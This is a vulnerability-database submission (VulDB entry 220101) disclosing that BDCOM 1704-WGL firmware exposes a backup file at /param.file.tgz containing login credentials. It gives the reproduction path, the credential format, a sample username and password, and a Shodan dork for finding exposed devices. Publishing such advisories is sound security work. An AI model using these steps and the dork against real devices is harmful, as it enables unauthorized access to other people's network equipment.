| عنوان | BDCOM 1704-WGL BACKUP FILE /PARAM.FILE.TGZ INFORMATION DISCLOSURE |
|---|
| الوصف | The vulnerability affects BDCOM 1704-WGL devices with firmware version BDCOM(1704-WGL)EN-V2.0.6314, 2014.09.16 14:59.
To reproduce, access one of the targets available in shodan (link below) and enter the path /param.file.tgz right after the link.
Like for example http://x.x.x.x:8080/param.file.tgz.
It will start downloading a file and inside it contains the credentials.
They follow the pattern in which the word "guest" always comes, right after it comes a number, then a random character and finally, the user and password to log in to the device
Demonstration:
guest 4 € admin intel98eood
In this case, the username and password are
User: admin
Password: intel98eood
Shodan Link:
https://www.shodan.io/search?query=%22Server%3A+HTTP+Software+1.1%22+HTTP%2F1.1+BDCOM
Shodan Dork:
"Server: HTTP Software 1.1" HTTP/1.1 BDCOM
|
|---|
| المصدر | ⚠️ http://x.x.x.x:8080/param.file.tgz |
|---|
| المستخدم | c4ng4c3ir0 (UID 38456) |
|---|
| ارسال | 02/02/2023 09:39 PM (3 سنوات منذ) |
|---|
| الاعتدال | 03/02/2023 02:03 PM (16 hours later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 220101 [BDCOM 1704-WGL 2.0.6314 Backup File /param.file.tgz الكشف عن المعلومات] |
|---|
| النقاط | 17 |
|---|